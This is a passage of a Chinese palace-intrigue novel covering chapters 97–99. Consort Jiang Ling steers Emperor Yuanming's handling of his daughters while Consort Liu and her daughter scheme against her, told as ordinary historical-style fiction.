元明帝不禁回想起当年庄美人发疯时,萧允琅瘦弱的模样。如今他依然偏瘦小,精力却充沛得很。成日上窜下跳,如猢狲一样,要是没人看着,与萧允瓒两人在一起,屋顶的瓦都能被他们给揭掉。 虽说闹腾,两人的规矩礼仪毫不马虎,从不让人操心。 元明帝想起当年自己年幼时,与兄弟姐妹之间不过是面子情。如今他膝下就他们两个皇子,皆活泼伶俐,比一母同胞的嫡亲兄弟都亲密。 “朕当年让她抚育阿琅,真是没看走眼!一人为君,一人辅佐,兄弟齐心,真真是大胤之福!” 元明帝心头感慨万分,沉下脸道:“你养着阿琅这些年,朕断不会让他由别人抚育,你莫要担心!” 江舲皱起眉,道:“我相信皇上,就是忍不住生气。皇上……”她这时看向黄梁张善,“你们退下吧,我与皇上说几句话。” 黄梁张善一直立在屋中,闻声如释重负,忙恭敬地退了下去。 元明帝疑惑地道:“你有甚大事,连他们都不信了?” “有些话,终是不足为外人道。” 江舲神色淡了下来,诚挚地道:“皇上,先前我遇到大公主,与她说了几句话,听说皇上让二公主跟着大公主,此事我总是觉得不妥,大公主与二公主往常根本不在一起玩耍,两人都长大了,哪能就突然生出了姐妹情?” 元明帝眉头紧蹙,一时没有做声。 江舲愁眉苦脸地道:“说实话,我对二公主头疼得很,本不该插手管她的事。因着赵嫔,她肯定恨我。赵嫔是她的生母,我不怪她,此乃人之常情。皇上,大公主我叫了回来,皇上下旨将二公主传来,也算是替二公主撑腰。二皇子受着伤无法前来,让她们姐妹,加上阿瓒阿琅,一道陪着皇上用晚膳。儿女们都在眼前,皇上能得些心里安慰,也能顺道瞧着,二公主可适合跟着大公主一道住。” 元明帝还以为江舲会说大事,没曾想是她私下说了几句真心话,要让几个儿女来跟前。 闻言,元明帝眉头舒展开,道:“小事而已,你去替朕传个话就是。” 江舲故意说笑了句,“免得让二公主不自在,等下我就自己用膳,不打扰皇上一家子了。” 元明帝佯装瞪她,心中对“一家子”却很是受用。他不舍地,缓慢抽回手,道:“你难道不是朕的一家子了?快去,成日尽说些胡话!” 江舲施施然走出屋,对黄梁道:“黄大伴,劳烦你走一趟香雪阁,皇上有旨,传二公主前来,陪皇上用膳。” 黄梁微愣,赶忙应下前去香雪阁。江舲再吩咐宫女:“待二公主前来时,将大公主也叫来。” 夜幕降临,天色暗沉,灰扑扑。 江舲立在廊檐下,愉快地望着眼前的黄瓦红墙。 在重重宫墙外,她能断定,此刻,有人只怕是芒背在刺,如热锅上的蚂蚁了! 第97章 柳贤妃面色寻常回到柔仪宫, 缓缓进了书房,在书桌后的圈椅里坐下。手搭在圈椅扶手上,微微仰头望着某处。 尙嬷嬷大气不敢出, 书房昏暗,她忙上前掌灯。 屋中渐渐变得明亮, 柳贤妃的脸在灯烛下,阴沉可怖。尤其是那双眼眸, 淬满寒冰, 令人胆战心惊。 “阿桐呢?”柳贤妃问道。 尙嬷嬷忙出去询问,得知萧珈桐前去垂拱殿, 尚未归来,赶紧进屋回禀:“娘娘, 大公主方才去了没一阵, 皇上舍不得大公主,留着她在说话呢。” 柳贤妃心烦意乱,她摆了摆手, 道:“待阿桐回来后, 你让她来书房。” 尙嬷嬷应诺退出, 交代了宫女前去门前守着, 往红铜手炉中添了炭来, 关心地道:“娘娘的腿脚不好, 奴婢替娘娘暖一暖。” 柳贤妃握着手炉,唔了声, 不置可否。尙嬷嬷便取了小杌子坐在一侧, 轻轻撩起裤腿。 先前柳贤妃向江舲下过跪,膝盖上果然留下一片青色。尙嬷嬷不敢多看,连忙放下裤腿, 用手炉暖着膝盖。 眼见天色越来越晚,手炉凉了,尙嬷嬷一边收拾好,一边禁不住探头朝外张望。 “出去打听一下。”柳贤妃垂下眼帘,冷声道。 尙嬷嬷心中七上八下,唤来心腹宫女打发了出去,她看着时辰,道:“娘娘,可要摆膳了?” 柳贤妃胃口全无,她不做声,侧首一瞬不瞬望向窗棂。 萧珈桐聪慧,福儿回柔仪宫回话,果然迅速领会了她的意思,前往垂拱殿见元明帝。 只是,柳贤妃心却始终放不下。萧珈桐毕竟年轻,未曾单独出门做过事。 元明帝年轻时还算得上有几分小聪明,随着帝王做得久了,那几分小聪明,变成了自视甚高。 江舲深得他的信任,要是她吹枕边风,萧珈桐岂是她的对手。 从在灵堂的情形看来,林贵妃无论是利用,还是转投江舲,她们明显都勾结在了一起。 雪白窗纸上泛着昏黄的光,柳贤妃的双眸变得模糊起来,心开始胡乱狂跳,终于忍受不住,捂住胸口急促喘息。 尙嬷嬷得了消息进屋,看到柳贤妃的模样,顿时大骇急奔上前,“娘娘,娘娘怎地了?奴婢这就去传太医!” “阿桐呢?”柳贤妃神色凌厉,钳住了尙嬷嬷的手腕,拔高声音反复问道:“阿桐呢!” 尙嬷嬷霎时后背发寒,连声音都打颤:“娘娘皇上留了大公主用膳……娘娘放心。” 柳贤妃的神情终于缓缓归于平静,她松开手,眉头旋即蹙起,喃喃自语起来。 “这事透着奇怪,萧允瑞的寝宫离垂拱殿就几步路,争执应当很快传到御前。江氏回了垂拱殿,她要是不见动静,便是平安无事。阿桐便不会被留下……” 她的话语越来越慢,脸色亦越来越差,尙嬷嬷肃立在一旁,紧张地道:“娘娘,可是出事了?” 柳贤妃没有理会尙嬷嬷,她蹭地站起身,在屋中来回踱步。书房算不得宽敞,柳贤妃低头走得极快,尙嬷嬷扎手护着,生怕她一不小心撞到几案。 有宫女在门外探头张望,尙嬷嬷走出去,问道:“何事?” “嬷嬷,二公主也被皇上传去用膳了。”宫女小声回着打听来的消息,“还有重华宫那边,林贵妃回去之后,便再也没出屋,未有人进出。” “阿棠也被叫了去?”柳贤妃在屋中听到,停下脚步,厉声问道。 宫女打了个哆嗦,忙道:“回娘娘,是黄大伴亲自前去,请了二公主去用膳。” 柳贤妃许久都没做声,宫女屏声静气低垂着头,尙嬷嬷心里一团疑惑,挥手斥退宫女,道:“娘娘,皇上怎地会在这时传二公主去用膳?” “皇上要享受天伦之乐。”柳贤妃冷冷道,浑身寒意凛冽。 伴君多年,柳贤妃对元明帝可是了若指掌。除非萧珈棠萧珈桐前去请安,主动道他面前,他主动关心的次数少之又少。在当前的关头,元明帝绝不会想起萧珈棠。 而这一切,定是江舲的主意! 柳贤妃的膝盖开始隐隐作痛,在萧允瑞灵前的那一跪,颜面尽失。 从小到大,她从未受过今朝这般的屈辱。这一切,她誓要成倍讨回来! * 琼华阁。 萧珈棠跟在黄梁身后进屋,站在龙床前,屈了屈膝见礼,“给阿爹请安。” 元明帝靠在床头,上下打量着萧珈棠,见她始终低垂着头,声若蚊呐,脸上掠过不喜。最终,见萧珈棠似乎瘦了许多,神情憔悴,终是没说什么,抬手道:“坐吧。”随即让黄梁传膳,“阿棠你要多吃些,长胖些才好。” 萧珈棠木楞愣应了是,仿佛没看到屋中立着的萧珈桐,前去锦凳上坐下,依旧垂首一声不吭, 萧珈桐走过去,主动与她招呼,“阿棠。” 萧珈棠缓了一阵,缓缓抬头看向萧珈桐,木讷地叫了声“大姐姐”。 “阿棠,你冷不冷?”萧珈桐满脸地关切,上前握住萧珈棠的手。 萧珈棠浑身一震,抽回手缩进宽大晃荡的衣袖中,绷紧小脸,一身的警惕防备。 萧珈桐脸僵了僵,很快反应过来,道:“阿棠瘦了,等下要多吃些……”这时,萧允瓒萧允琅咚咚跑进来,打断了她的话。 “阿爹。”萧允瓒萧允琅急急在龙床前站定,抬手请安,再向萧珈桐萧珈棠见礼。 萧珈桐颔首还礼,萧珈棠则直勾勾看着他们。萧允瓒浑不在意,萧允琅很怕她阴森森的目光,悄然往萧允瓒身边躲。 萧允瓒道:“阿爹,阿娘说我与阿琅随着阿爹用膳,我早就饿了,快些传膳吧。” 元明帝瞪着他,道:“你就知道吃,大字可写好了?” “写了。”萧允瓒胡乱应付写了一气,答得含糊其辞,却理直气壮。 “写了?”元明帝神色狐疑,打算让他交上来,见黄梁领着内侍送了膳食进屋,暂时作罢。 摆好膳,萧允瓒萧允琅的矮案并排放在一起,他们互相朝对方面前的膳食看去,默契十足地动作起来。 萧允瓒口味与江舲一样,喜食鱼虾菜蔬,萧允琅则喜食肉食与蛋,不喜菜蔬。江舲为了他们的身体,要求各样都要吃一些。 两人互换了喜食的饭菜,元明帝看着他们的动作,呵呵冷笑,“两个混小子,当着朕的面挑嘴,你们可是皮痒了?” 萧允瓒振振有词道:“阿爹,诗人云谁知盘中餐,粒粒皆辛苦。我与阿琅是节俭,不糟蹋粮食。” 萧允琅跟着道:“阿爹,我与三哥都是乖巧听话的垂髫小儿。” 元明帝被两人气笑了,道:“不学无术,还敢在朕面前拽诗,自吹自擂!” 萧允瓒偷偷塞了萝卜在嘴里抿着,嘻嘻不说话。萧允琅不怀好意地偷笑,伸手去戳他的脸,两人很快闹在一起。 元明帝大喝一声,“混账,还不好生用膳!” 两人这才安分下来,埋首吃起了面前的饭食。萧珈桐温柔地看着,萧珈棠从头到尾都垂着头,充耳不闻。 用完膳,内侍奉上茶,萧允瓒萧允琅哪坐得住,借口年幼,江舲不许他们吃茶,脚底抹油溜了。 萧珈桐心急如焚,吃了两口茶,就迫不及待道:“阿爹身子不好,应早些歇息才是,我与阿棠先告退。” 元明帝耷拉着眼皮,道:“阿棠就不容你操心了,你先退下吧,” 从遇到江舲时起,萧珈桐就莫名不安。在客舍等了许久,最终元明帝传了萧珈棠来,由他们姐弟几人陪着一道用膳。 闻言,萧珈桐脸色大变,心沉了下去,急道:“阿爹先前答应让阿棠随我一起住,阿爹怎地又不同意了,可是我犯了错,令阿爹失望。” 她跪了下来,含泪道:“阿爹,我一定知错就改。阿爹,我就阿棠一个妹妹,阿爹就成全了我们,让我们姊妹俩在成亲前,像阿瓒阿琅那般,彼此为伴。” 元明帝面色沉沉望着萧珈桐,对她掩饰不住地失望。 亏得她还有脸提萧允瓒萧允琅,萧珈棠对她万般抗拒,瞎子都看得出来,两人关系不睦。 再比对着萧允瓒萧允琅之间的相处,萧珈桐所作所为,则格外惺惺作态。 想她年纪轻轻,竟这般表里不一,妄图欺君。 元明帝被区区小娘子欺骗了过去,老脸无光,心中厌恶陡生。 “都怪柳氏,笑里藏刀贱妇,将她养坏了!” 元明帝心里将柳贤妃好一通骂,到底萧珈桐是亲生骨肉,给她留了几分薄面,只沉声道:“你无需多言,退下吧。” 萧珈桐脸色惨白,见元明帝一脸不悦,只能退了出屋。 萧珈棠晚膳几乎没碰,始终低着头坐在那里。元明帝端详着她半晌,叹了口气,道:“阿棠,你如今也大了,该懂些事了,莫要闹性子。再过两年,阿爹替你寻一门好亲。” 萧珈棠猛然抬起头,此时再也绷不住,噗通一下跪在地上,眼泪汹涌而出,哭道:“阿爹,我不要搬,我什么都不要,求阿爹放了阿娘吧,阿爹,阿娘无辜,都是被人害了啊!” 元明帝身子本就不好,被萧珈棠哭得头痛起来。听到她替赵嫔求情,恼怒地道:“糊涂!你阿娘是罪有应得!朕看在你年幼的份上,不曾怪罪于你,你还喊起冤来了!” 赵嫔乍然出事,萧珈棠哭晕过去好几次,醒转后,要来垂拱殿求情,都被嬷嬷宫女们拦住了。 嬷嬷宫女们苦口婆心劝她,宫中接连出事,元明帝受伤在床,莫要去触元明帝的霉头,连她一并被责罚。 萧珈棠这些天浑浑噩噩,不知如何活了下来。元明帝待她一向慈爱,她的心里,始终怀着一丝希冀。 现在元明帝不留情面驳斥了回来,萧珈棠绝望至极,她尖声哭起来,“阿爹就是偏心,偏向慧淑妃,只宠着慧淑妃,她说什么,阿爹都相信……” 元明帝气得眼前一黑,拔高声音怒斥道:“闭嘴!胆大妄为的孽畜,竟敢忤逆朕!来人!” 门帘掀起,江舲走了进来。元明帝看到是她,顿了顿道:“你来作甚,让黄梁他们来,给这个孽畜押回去关起来!” “关就关,反正我也不想活了!”萧珈棠委屈滔天,胸口一团火在熊熊燃烧,扭头就往外跑。 江舲顾不得搭理元明帝,转身追了出去,指挥守在门口的黄梁,“抓住她!” 黄梁见萧珈棠冲了出来,赶忙叫上张善,两人上前一左一右,抓住了萧珈棠的手臂。 “奴婢得罪了,二公主莫要冲动啊!”黄梁苦着脸劝道。 萧珈棠哪听得进去,拼命扭动着身子,仰天尖叫大喊。黄梁朝张善使了个眼色,他捂嘴,张善手上用力,将萧珈棠死死按住。 江舲无奈地长叹,指着客舍道:“请二公主请过来坐。” 黄梁张善两人一起,半拖半拽将萧珈棠带到客舍,江舲点头道:“放开她吧,你们出去。” “娘娘……”黄梁不放心,犹豫着道:“奴婢与张善就守在门外,娘娘有事叫一声。” 江舲莞尔一笑,安慰着黄梁,也是警告萧珈堂。 “二公主形销骨立,步伐虚浮。不比我身强力壮,要好生歇着才有力气。快快请二公主入座吧,我有几句话对她说。” 黄梁张善把萧珈棠按坐在椅子中,小心翼翼松开她,退了出屋。 萧珈棠一番用力挣扎,这时累得瘫在椅中,大喘着气,恨恨盯着江舲,恨不得将她撕碎。 江舲在笑珈棠面前站定,道:“二公主,我要说的话,你听了别大喊,因为这些事并未公开。要是你喊了,你阿娘的下场如何,我无法保证。” 萧珈棠神情讥讽,抿着嘴一声不吭。 江舲正色道:“我没有害你阿娘,反倒是你阿娘要诬陷我。而且,你阿娘将睿亲王推下了石阶,她害死了睿亲王。” 萧珈棠激动地喊道:“你撒谎!你撒谎……” 江舲淡淡道:“你喊吧,要是被人听到,你阿娘彻底完了,会被除去所有痕迹,悄无声息扔进乱葬岗。” 萧珈棠死命瞪大双眸,眼泪顺着脸颊留下,不甘与愤恨盯着江舲,到底没有再出声。 “我不亏欠你阿娘,也不亏欠你。我与你说这些,是怜你年幼。你来到这个世间,有幸生在皇家,这是你莫大的幸运。要是你觉得委屈,看看身边的宫女,嬷嬷,内侍们的日子。要是你还想不通,可以来与我说,我想办法让你出宫,去看看平民百姓的日子,去看看穷人的日子。” 江舲轻轻叹了口气,道:“能活下去,尽量好好活着吧。你阿娘把你捧在掌心疼爱,也不想看到你这样。” 萧珈棠泪如雨下,哭得透不过气来。江舲不再多言,转身朝外走去。 到了门边,江舲停下脚步,转过头,平静地对萧珈棠道:“你生在皇家,享受了常人几辈子难以企及的荣华富贵,你并不无辜。”说罢,没再停留,交待过黄梁他们,大步离开。 回到卧房,元明帝气犹未消,怒气冲冲道:“那个孽畜呢,她要是不服,把她送到皇庙去,陪她那黑心肠的阿娘!” 江舲失笑摇头,侧身坐在床沿,温声道:“好了好了,那可是你的亲生女儿,还不是随了你的性子,不服输,一身傲骨。” 元明帝哼了声,语气到底软了下来,“朕可不像她,目无尊长,头脑简单!” 江舲耐着性子安抚元明帝:“她才多大呀,还未及笄呢。我都不与她计较,你也莫生气了。我让黄梁他们送回去了,伺候的人多看着她些,别真寻了短见。” 元明帝想到萧允瑞,心头顿时刺痛,神色一黯,难过地道:“没一个让朕省心,早知如此,朕就不该生了他们。白发人送黑发人,平白让朕伤心。” “儿女都是债。”江舲附和着说了句。 元明帝心道亏得有江舲,她被赵嫔污蔑,萧珈棠错怪,不仅大度地宽恕了她们,还处处维护萧珈棠。 要是江舲趁机火上浇油,他说不定一时气上头,处置了萧珈棠。 元明帝如获珍宝,握着江舲的手,深情地道:“你受的委屈,朕都记得,不会亏待你。待朕养好伤,将琼华阁重新修一番,以后只朕与你住。” 江舲差点翻脸,骂他恩将仇报。正事要紧,江舲拼命克制住情绪,问道:“先前我在院中走动消食,看到阿桐急匆匆离开,像是不大高兴。阿桐又怎地了?” 元明帝霎时沉下脸,道:“柳氏果然不是好东西,阿桐都被她养坏了,学会了当面一套,背后一套,阿瑞指不定是被那毒妇害死!卫大学士那边迄今没查出甚眉目。朕准备下旨让他彻查柳氏。柳氏定有所图,不怀好心。朕掘地三尺,也要将那毒妇的面皮揭开,诛她柳氏九族!” 第98章 照着江舲对元明帝的了解, 他眉眼间阴霾密布,神情狠厉到狰狞。 只柳贤妃教坏萧珈桐,以他的德行, 断不会如此生气。帝王多疑,他应当是想到了其他, 比如柳氏有篡夺江山之疑。 江舲觉得此计甚好,可惜难以行通。 毕竟柳氏手上无兵, 夺江山若那么容易, 黄梁张善他们早就改朝换代了。 只瞬间,江舲笑容渐渐消失, 脑中灵光闪过。 柳贤妃做摄政太后,悉心培养教导萧珈棠, 再让她与柳氏子弟成亲。萧氏江山即便仍然姓萧, 背后的主人则不一定了。 “你在想甚?”元明帝见江舲怔怔失神,旋即得意地笑了,“可是吓着了?” 江舲回过神, 敷衍地道:“我是害怕。” 元明帝扬了扬眉, 轻抚江舲的手背, 安慰她道:“有朕在, 朕会护着你。” “皇上, 垂拱殿可安全?” 江舲计上心头, 佯装紧张地转头四望,眸中露出惊恐, “皇上, 要是有贼该如何是好?皇上的心腹是谁,袁长生,还是皇城司的丁尙丁皇城使?赶紧安排他们来看守啊!” “瞧你, 成日尽胡说八道。谅他再胆大包天的贼,万万不敢到皇宫来行窃。” 元明帝斜乜着江舲,见她向自己靠近,一副惧怕小鸟依人的模样。嘴上虽嫌弃,心里却自豪极了。 “京畿有大胤最强大的兵将,京城宫城有丁尙,内城有袁长生。层层把守,便是蚊蝇都飞不进来,你且放心便是。” “皇上,京畿营皇城司他们都算是武将,袁长生却是内侍,巡逻的守卫也一样是内侍,他们的力气,说不定还没我大呢!” 江舲抬起手臂,摆出大力士的架势,逗得元明帝哈哈大笑。 “皇上,袁长生他们,可能换成兵营的武将兵丁?” “这如何能换!”元明帝笑着一口回绝了。 见江舲不高兴了,元明帝赶忙安抚起了她,“以前你身边伺候的宫女,胆敢背叛你,便是你不懂御下之道。罢了,朕不怪你,你一直不学无术……” 江舲一扭身,不悦哼了声。元明帝见她使小性子,愈发来了劲。拉着她扭过身去,语重心长教导起了她。 “朕今朝就好生教教你,何为用人识人之道。袁长生无父无母,孤苦伶仃,好心人施舍吃食长大。后来跟着人去收夜香,送柴禾送水过活。他人小,瘦弱,时常被欺负,着实无法,自阉进了宫。进宫后,他得阿爹器重,又得朕提拔,日子一飞冲天。皇家于他有天大的恩情。他自是清楚,朕能给他权势荣华富贵,也能一句话,让他从天上跌落泥土中,回到以前猪狗不如的日子。” 元明帝贴近江舲,身上的药味与久未沐浴的酸味,直往江舲鼻中钻,她使劲克制着胃里的翻腾,方没一巴掌推开他。 “他的生死皆仰仗着朕,如何敢不尽忠!” 近来宫中愁云笼罩,元明帝憋气久了,此时难得松弛,胸口的满足噗噗往外冒。 “得要恩威并重,切勿只有恩。袁长生说到底,乃是阉人,身份低贱。他没日没夜当差,惟恐失去朕的宠信,差使被他人得了去。朕拿一点草料在前面吊着,却不可真正将草料扔给其他牲畜。” 说到兴头上,元明帝手指洋洋自得敲着被褥,呵呵笑着:“你可见过护家犬,犬最忠厚,却护食,抢起吃食来连主子都顾不上。用得顺手的护家犬,切忌轻易更换。要寻听话的护家犬不易,领头的护家犬,还要能降住底下的一群犬只。” 江舲表面认真听着,心却沉了下去,恶心翻滚。 袁长生可否拿自己当人看,江舲不甚清楚,元明帝必不拿他当人看。 至于元明帝究竟如何看她,她无意自寻烦恼去深究。 但她会做人,不做人上人,只把自己当人看,把他人也当人看。 元明帝对袁长生的忠心深信不疑,他的信任极为复杂,除帝王威严的至高无上,重要之处乃是源自他对自己帝王权术的自信。 江舲不能去戳破,此乃元明帝的护心甲,一旦破碎,她会先倒霉。 * “大公主回来了,娘娘在书房等大公主。”尙嬷嬷守在门口,看到灯笼逶迤靠近,忙迎了上前。 “嬷嬷。”萧珈桐心中忐忑,朝书房方向望了眼,问道:“娘娘可还好?” “娘娘从寝宫回来后,心情一直不好。大公主快进去吧。”尙嬷嬷未再多言,略微提了句,侧身恭让。 “咦!”尙嬷嬷看到福儿,顿时吃了一惊,“你怎地跟着去伺候了?” 福儿在垂拱殿时便察觉到不妥,被尙嬷嬷一问,顿时冷汗直冒,颤声道:“嬷嬷,我错了,不该自作聪明,随大公主前去伺候。” 尙嬷嬷与福儿皆在柳贤妃身边当差,算是贴身的心腹。两人交情匪浅,见到福儿脸色惨白,暗自叹息了声,便不再多言了。 萧珈桐却十分警觉,扫了福儿一眼,眉头微蹙,脚步不禁一顿。 福儿随柳贤妃前往萧允瑞的寝宫,与江舲打过照面。江舲回垂拱殿时,又见到了福儿。她去垂拱殿见元明帝的用意,不言而喻。 到了书房门口,福儿远远站住,萧珈桐回头看去,道:“福儿,你随我进来。” “大公主!”福儿双股颤颤,她拼命忍着,声音依然带着了哭腔,“大公主,奴婢……” “你进来。”萧珈桐闭了闭眼,掩去眼中的不忍,硬着心肠进了屋。 福儿面若死灰,拖着沉重的双腿跟了进去。尙嬷嬷望着她的背影消失在门帘后,久久不曾动弹。 书房灯烛明亮,柳贤妃坐在书桌后,神情平静,脸色苍白中泛着乌青。 “娘娘。”萧珈桐走到屋中,屈膝见礼。 福儿噗通一声跪在地上,俯趴在地,浑身簌簌发抖,“奴婢犯了差错,请娘娘责罚。” 柳贤妃目光在萧珈桐与福儿身上来回掠过,很快她就笑了,“福儿脑子灵活,阿桐机敏。何至于出这般大的纰漏,乃是聪明有余,沉着不足。我时常说道,在千钧一发之际,临危不乱,才是决胜之道。” 萧珈桐眼里噙满泪水,懊悔万分。柳贤妃平时的教训,她皆牢牢记在心中。没曾想临到头来,依然破绽百出。 福儿深深恐惧,绝望,趴在地上大气都不敢出。 柳贤妃端起茶盏,揭开茶盖,缓慢地拨动着茶沫。杯盏清脆磕碰,一声声像是刀剑般锋利,落到萧珈桐福儿心头。 不知过了多久,柳贤妃放下茶盏,淡淡道:“福儿办砸了差使,念你是初次,且罚你半年月俸。” 福儿一时不敢相信自己的耳朵,她猛然抬起头,难以置信地望着柳贤妃:“娘娘……” 柳贤妃面色如常,目光锐利如冰,冷厉地道:“若下次再犯,将这次的错一并添入,数罪并罚!” “是!”福儿飞快地应了声,劫后余生的喜悦,让她流泪不止,咧嘴笑了出来。 察觉到不妥,福儿连忙收起笑,咚咚地磕头谢恩,手脚并用爬起身,退出了书房。 萧珈桐愣在那里,目送着福儿离开,许久未能反应过来。 “过来坐吧。”柳贤妃神色缓和下来,慈爱地将萧珈桐叫过去,在身边坐了下来。 “都怪我,娘娘担心责罚福儿,让我这个主子跟着没脸。” 萧珈桐自责不已,将前去垂拱殿,如何见元明帝,如何被江舲缠住等事情,哽咽着细细道来。 “福儿跟着你前去垂拱殿,倒也算不上大错。江氏到底年长,皇上宠爱在身,算是你的长辈。一个孝字压下来,再大的本事,你也施展不开。” 柳贤妃安抚着萧珈桐,耐心地教着她:“我放福儿一马,则是恩威并重。经此一事,福儿当差时便要多提着一颗脑袋,越发忠心。事已至此,追究福儿的错处毫无用处,眼下也不是惩罚她的时候。” 萧珈桐见柳贤妃并未责备,勉强好过了些。刚喘过一口气,柳贤妃脸色陡然一变。 “吃一堑长一智,你得要清楚,究竟错在何处。你是公主,在皇上面前承欢膝下便可。萧珈棠同是皇上的亲生骨肉,她身边嬷嬷宫女一大堆人伺候,何须你强出头。往常你们姊妹顶多点头之交,你要将她带到身边,想要收服她,好为你所用。” 萧珈桐煞白着脸,泪水夺眶而出,往常的自信,在接连打击之下,羞愧欲死:“娘娘,我是这般打算。阿爹已经被我说动,我想着做到这一步,顺势再多做些,天衣无缝些。谁曾想,人算不如天算,慧淑妃做了拦路虎。不知她与阿爹说了何话,晚膳之后,阿爹就改了主意。” “何须苦苦猜测江氏对皇上究竟说了什么,比对着萧允瓒萧允琅兄弟俩的相处,你的关心来得突然,虚假。皇上长了双眼,他看得出来。” 柳贤妃神情冷厉,不留情面道:“你总是习惯将事情做得天衣无缝,我早与你说过,既是凡俗人世,何来的天衣无缝!你也好,萧珈棠也罢,你们姊妹俩加在一起,在皇上的心中,也不及你们任何一个蠢货兄弟!” 萧珈桐嘴唇哆嗦起来,颤声道:“娘娘,阿爹厌恶了我,可会连累到娘娘?” 柳贤妃干脆地回道:“会!” 萧珈桐脑子轰地一声,心中的那点希冀破灭,眼眸中盈满惧怕,“娘娘,那……娘娘,接下来该如何办?” 柳贤妃垂下眼眸,声音极轻,几近呢喃道:“阿桐啊,与蠢货打交道,累及了。屈居人下苟活,也累及了。不成功,便成仁。你,怕不怕死?” 第99章 春寒料峭过去, 在繁华锦簇时,萧允瑞的丧事总算告一段落。元明帝身上的伤好了大半,可惜伤腿行走不便, 依然不曾临朝。紧要折子与朝政大事,都送到琼华阁来处置。 萧允珏年轻, 伤口愈合得快,早已好得七七八八。只他受伤之后性情大变, 不愿再出来见人, 成日在寝宫中吃酒作乐,闹出不少的荒唐。 赵德妃借养伤, 始终悄无声息。从未再露过面。对萧允珏似乎不闻不问,任由他闹腾、 柳贤妃在灵堂前颜面全失, 却不见动静, 在柔仪宫几乎闭门不出。 宫外关于皇家的议论不断,朝堂朝臣三缄其口,后宫中难得地风平浪静。 “娘娘。”文涓青檀两人捧着花枝进屋, 屈膝见礼。 “蔷薇开得真是好。”江舲看着粉色娇嫩的花朵, 忍不住伸出手去拿。 “娘娘仔细些, 有刺, 奴婢来吧。”青檀忙提醒, 用银剪剪了一朵奉给江舲。 文涓走到半支起的窗棂边, 朝外不经意打量。如今夜里江舲与元明帝同歇在卧房,帷幔放下隔开里外两间, 临窗放置宽敞的坐榻, 江舲夜里总算能睡得舒适些。 白日时常有朝臣前来,江舲留着不便,在西侧收拾了一间屋子歇息。琼华阁禁卫森严, 朝臣进进出出,等闲人不得靠近。 见窗外无人,文涓走到几案边,与青檀一起收拾着蔷薇花,低低说起了话。 “娘娘,二皇子寝宫昨夜闹腾到天明时方消停下来,种的蔷薇花枝条皆被连根剪了。二皇子拿着带刺的枝条,见人就打,尤其是照着头脸,劈头盖脸地打下去,整晚惨叫声就没断过。” 说到这里,文涓情不自禁打了个冷颤。青檀感念自身,满脸地不忍。 “黄大伴先前遇到奴婢,提点奴婢嘴要严实,不得多言。”文涓神情低落,银剪用力,方剪掉枝上的刺。 萧允珏是最最尊贵的皇子,虐打几个仆从算是什么大事,至要紧处是不得走漏消息。皇家脸面虽早已荡然无存,犹如开屏的孔雀,一面是美丽夺目,一面是露出的屁股。朝臣百姓都心知肚明,只须避而不谈,此事便不复存在。拿出三五两银子,自有黑了心肝,骨头轻的人出来歌颂功绩,著书立说。 江舲侧身坐在圈椅中,有一搭没一搭拨动着蔷薇花,望着窗棂外明媚的春光,眸中一片冰凉。 “多行不义必自毙。”江舲静静说道。 文涓愣住,青檀茫然看向江舲,两人都不见轻松。 “屋内凉了些,我出去走动晒晒太阳。”江舲不愿多言,起身走出屋。 逼到绝境,再柔弱卑贱的人都会反抗,史上曾有壬寅宫乱。 惠风和畅,天际一望无垠。江舲在廊檐下站了会,准备去看萧允瓒萧允琅。这时,卫大学士与郑相一并从明间走了出来。 江舲与他们隔着好些距离,她打算装作没看到。郑相客气地停下脚步,抬手见礼。 卫大学士随郑相看来,江舲虽看不清他的脸色,照着他的性子,想必不大好看。 江舲只当不知,颔首回礼,施施然进了偏屋。萧允瓒萧允琅凑在一起写大字,书桌照样弄得一团乱,手上脸上皆是墨汁。 元明帝身子恢复了些,得闲之时总是盯着兄弟俩的功课。恐被元明帝责罚,玩闹之余,大字写得极为认真。 “阿娘!”萧允瓒撑在书桌上,指着写完的大字,道:“我已写完十篇大字,等下我与阿琅去御花园玩耍。” “写完功课可以玩一炷香的功夫,只不得玩水。”江舲说道。 “只能玩一炷香的功夫,阿娘太小气了!”萧允瓒不满叫了起来。 萧允琅虽不明白一炷香究竟是多长,跟着萧允瓒一起不依抗议,“阿娘,为何不能玩水?” “水还凉着呢,仔细生病。”江舲轻轻拧着萧允琅长胖了些的脸颊,不客气地道:“尤其是你,敢偷偷下水玩,我打你屁股!” 萧允琅最喜欢玩水,扭着脑袋躲开,偷偷地冲萧允瓒做鬼脸,“阿娘真是凶。” 萧允瓒跟着点头如捣蒜,“阿娘这也不许,那也不许,比阿爹都凶。” 江舲想起萧允珏,看着两人直犯愁。元明帝在读书上对两人严厉,其他方面,对两人算得上纵容。 天家尊贵,君臣有别。先国礼后家礼,年老的朝臣见到无封号,年幼的萧允瓒萧允琅,照样得恭恭敬敬。 两人正是淘气的年岁,江舲管束多了,便时常不乐意,与元明帝变得亲近起来。 教养孩子真正不易,聪慧如林贵妃,在萧允瑞头七那日,她恍惚着问道:“我自认待阿瑞掏心掏肺,悉心教导他。他为何会半点都没学会,因此连命都填了进去?” 当时江舲没有回答,她多少知晓些,林贵妃与萧允瑞母子之间的问题,究竟出在何处。 林贵妃教萧允瑞读书,教他心计,她与林氏一族的期盼,都压在他尙稚嫩的双肩上, 萧允瑞资质平平,他担不起林贵妃的期盼,甚至压不过萧允珏一头。久而久之,他靠着虐杀猫狗来解气,贸然对萧允珏动手,欲将向林贵妃证明他的本事。 至于萧允瑞心中到底存着顺道带上元明帝,或仅有萧允珏。摔下石阶之后,他再也未能开口,一切只有天知晓了。 林贵妃早知萧允瑞杀猫狗,对此不以为意。赵德妃亦一样,萧允珏吃醉酒折磨伺候的奴仆,于她而言算不得大事。 她们独独未教萧允瑞萧允珏做人的道理,元明帝一样如此。江舲自嘲一笑,皇家权贵都是人上人,他们皆无需学这些。 江舲顿时失去了兴趣,觉着深深的寂寞,沿着回廊走动着,不知不觉从侧门走了出去。 萧允瓒萧允琅写完功课,结伴跑了出来。两人看到江舲走在前面,凑在一起嘀咕着,怕她唠叨,打算从东侧夹道绕过。 阿箬紫衫寸步不离伺候,她们是江舲的心腹,见到她怎会不做声,远远就屈膝见礼。 江舲回头看去,萧允瓒萧允琅见躲不过,耷拉着小脑袋咚咚上前,“阿娘也去御花园吗?” “我不去,你们去玩吧,记得时辰回来。”江舲摇头,准备转身回屋。 萧允瓒与萧允琅喜滋滋,抬手一礼,蹬蹬蹬赶紧跑了。护卫从前面经过,看到两人跑去,赶忙躬身见礼,侧身避让。 